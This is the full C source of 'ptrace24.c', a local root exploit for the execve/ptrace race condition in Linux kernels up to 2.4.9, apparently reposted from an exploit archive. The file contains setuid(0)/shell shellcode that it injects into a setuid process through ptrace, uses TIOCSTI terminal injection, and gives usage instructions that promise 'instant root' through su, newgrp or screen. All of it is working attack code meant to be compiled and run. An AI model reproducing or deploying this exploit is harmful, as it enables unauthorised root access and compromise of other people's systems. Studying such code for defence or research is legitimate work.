tjdrldud@hanmail.net http://assa.backrush.com
/*
ptrace24.c [ improved by sd@ircnet ]
~~~~~~~~~~
exploit for execve/ptrace race condition in Linux kernel up to 2.4.9
Originally by Nergal.
Improved by sd.
This sploit doesn't need offset in victim binary
coz were using regs.eip instead (shellcode is non-self modifying)
It should work on openwall-patched kernels (but not on
Openwall GNU Linux as Nergal mentioned in advisory)
Use:
cc ptrace24.c -o ptrace24
./ptrace24
It gives instant root with any of: su, newgrp, screen [if +s]
(assuming if no password requiered) just change #define TARGET.
NOTE: This works only if it's executed on a tty [i.e. interactively].
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/ioctl.h>
#include <linux/user.h>
#include <limits.h>
#include <unistd.h>
#include <signal.h>
#include <wait.h>
#include <fcntl.h>
#define VICTIM "/usr/bin/passwd"
#define TARGET "/usr/bin/newgrp"
/* quite tricky shellcode, it doesn't need +W, so we can use it in .text */
/* setuid(0) + /bin/sh = 31 bytes*/
char sc[]=
"\x6a\x17\x58\x31\xdb\xcd\x80\x31"
"\xd2\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x8d\x42\x0b\xcd\x80";
void ex_passwd(int fd)
{
char z;
dup2(2, 1);
if (read(fd, &z, 1) <= 0) {
perror("read:");
exit(1);
}
execl(VICTIM, VICTIM, 0);
perror("execl");
exit(1);
}
void insert(char *us, int pid)
{
char buf[100];
char *ptr = buf;
sprintf(buf, "exec %s %i\n", us, pid);
while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}
int insert_shellcode(int pid)
{
int i, wpid;
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s)) {
perror("PTRACE_GETREGS");
exit(0);
}
for (i = 0; i <= strlen(sc) + 1; i += 4)
ptrace(PTRACE_POKETEXT, pid, regs.eip + i,
*(unsigned int *) (sc + i));
if (ptrace(PTRACE_SETREGS, pid, 0, ®s))
exit(0);
if (ptrace(PTRACE_DETACH, pid, 0, 0))
exit(0);
close(2);
do {
wpid = waitpid(-1, NULL, 0);
if (wpid == -1) {
perror("waitpid");
exit(1);
}
} while (wpid != pid);
return 0;
}
int
main(int argc, char *argv[])
{
int res;
int pid, n;
int pipa[2];
if ((argc == 2) && ((pid = atoi(argv[1])))) {
return insert_shellcode(pid);
}
pipe(pipa);
switch (pid = fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
ex_passwd(pipa[0]);
default:;
}
res = ptrace(PTRACE_ATTACH, pid, 0, 0);
if (res) {
perror("attach");
exit(1);
}
res = waitpid(-1, NULL, 0);
if (res == -1) {
perror("waitpid");
exit(1);
}
res = ptrace(PTRACE_CONT, pid, 0, 0);
if (res) {
perror("cont");
exit(1);
}
fprintf(stderr, "attached\n");
switch (fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
sleep(1);
insert(argv[0], pid);
do {
char c;
n = read(pipa[0], &c, 1);
} while (n > 0);
if (n < 0)
perror("read");
exit(0);
default:;
}
close(pipa[0]);
dup2(pipa[1], 2);
close(pipa[1]);
/* Decrystallizing reason */
setenv("LD_DEBUG", "libs", 1);
/* With strength I burn */
execl(TARGET, TARGET, 0);
return 1;
}
|